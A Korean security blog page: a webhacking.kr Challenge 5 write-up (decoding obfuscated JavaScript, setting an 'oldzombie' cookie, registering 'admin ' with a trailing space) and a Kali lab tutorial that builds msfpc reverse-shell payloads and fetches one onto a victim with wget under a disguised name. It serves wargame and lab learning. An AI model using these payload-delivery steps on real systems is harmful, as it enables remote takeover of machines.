처음 화면


Login버튼을 Login 페이지에 들어가진다.


SQL Injection 기본 쿼리문을 입력해 보았을때는 로그인 되지 않았다.




처음 화면에 join 버튼을 눌러보았더니 Access_Denied라는 메세지가 뜨며 페이지에 들어가지지 않았다.


login페이지의 url 주소를 보니 마지막에 login.php라고 쓰여 있었다.

그래서 ' webhacking.kr/challenge/web/web-05/mem/join.php '의 주소로 접속을 시도해 보았다.


접속은 성공하였지만 빈화면이였다. 개발자 환경을 이용하여 소스코드를 보았더니 난독화된 스크립트가 보인다.


l = 'a';

ll = 'b';

lll = 'c';

llll = 'd';

lllll = 'e';

llllll = 'f';

lllllll = 'g';

llllllll = 'h';

lllllllll = 'i';

llllllllll = 'j';

lllllllllll = 'k';

llllllllllll = 'l';

lllllllllllll = 'm';

llllllllllllll = 'n';

lllllllllllllll = 'o';

llllllllllllllll = 'p';

lllllllllllllllll = 'q';

llllllllllllllllll = 'r';

lllllllllllllllllll = 's';

llllllllllllllllllll = 't';

lllllllllllllllllllll = 'u';

llllllllllllllllllllll = 'v';

lllllllllllllllllllllll = 'w';

llllllllllllllllllllllll = 'x';

lllllllllllllllllllllllll = 'y';

llllllllllllllllllllllllll = 'z';

I = '1';

II = '2';

III = '3';

IIII = '4';

IIIII = '5';

IIIIII = '6';

IIIIIII = '7';

IIIIIIII = '8';

IIIIIIIII = '9';

IIIIIIIIII = '0';

li = '.';

ii = '<';

iii = '>';

lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;

lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;

if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {

    bye;

}

if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {

alert('access_denied');

    history.go(-1);

} else {

    document.write('<font size=2 color=white>Join</font><p>');

    document.write('.<p>.<p>.<p>.<p>.<p>');

    document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll +

        '>');

    document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');

    document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');


난독화된 코드를 해석하면 document.cokie indexOf(oldzombie), document.URL mode=1 이라는 내용을 얻을 수 있다.

(해석은 하나하나 대입하면서 했다.... 머리가 나쁘면 몸이 고생...)


해석에 따라' webhacking.kr/challenge/web/web-05/mem/join.php?mode=1 '에 접속해 보았지만 달라진 점은 찾을수 없었다.

그래서 EditThisCookie라는 확장 프로그램을 이용하여 oldzombie라는 쿠키를 추가해 보았다.

id와 password를 만들수 있는 텍스트박스가 나왔다.


id를 아까 나온 admin으로 해서 만들어 보려고 했지만 이미 존재하는 아이디라고 만들어지지는 않는다.


다른 아이디를 만들어서 로그인을 시도했는데 id가 admin이 아니라고 로그인이 되지 않는다.


다시 join.php로 들어와서 개발자 환경에서 

아이디의 최대길이를 5에서 6으로 바꿔준다.

그리고 아이디 admin에 공백을 추가하고 계정을 만들면 계정이 잘 만들어지고

'admin'으로 로그인하면 문제가 해결된다!!













'Security & Hacking > Wargame' 카테고리의 다른 글

[SuNiNaTaS] Forensic 15  (0) 2019.01.19
[SuNiNaTaS] Forensic 14  (0) 2019.01.13
[webhacking.kr] Challenge 4  (0) 2018.12.28
[webhacking.kr] Challenge 14  (0) 2018.12.14
[webhacking.kr] Challenge1  (0) 2018.12.12

https://github.com/g0tmi1k/mpc            // msfpc github 사이트

// 자동 공격코드 생성 도구


kali# git clone https://github.com/g0tmi1k/mpc.git        // msfpc 다운로드


[Window]

- 윈도우용 공격코드 생성


- 생성된 실행파일을 /var/www/html/down에 test.exe라는 이름으로 저장

- 아파치 웹서버 실행-


- 윈도우에서 칼리 웹서버의 down 폴더에 접속 후 text.exe 다운로드



- 위의 코드 생성할때 run부분에 나온 코드를 실행

- 이후 윈도우에 받은 test.exe파일 실행


- meterpreter 프롬포트가 성공적으로 나오고 스크린샷 명령으로 성공 했는지 확인




[Linux]

- 리눅스용 공격 코드 생성


kali# cp /root/mpc/linux-shell-staged-reverse-tcp-60000.elf /var/www/html/down/patch.elf        // 생성된 실행 파일을 웹서버의 down 디렉터리로                                                                                                                                 patch.elf  라는 이름으로 복사

centos# wget http://100.100.100.1/down/patch.elf        // patch.elf 파일을 리눅스로 가져온다.


- 위 run에 있는 명령어로 실행

- 리눅스에서 patch.elf 실행


- 리눅스에 연결하야 ls 명령어로 리눅스의 홈 디렉터리 파일 목록을 확인













+ Recent posts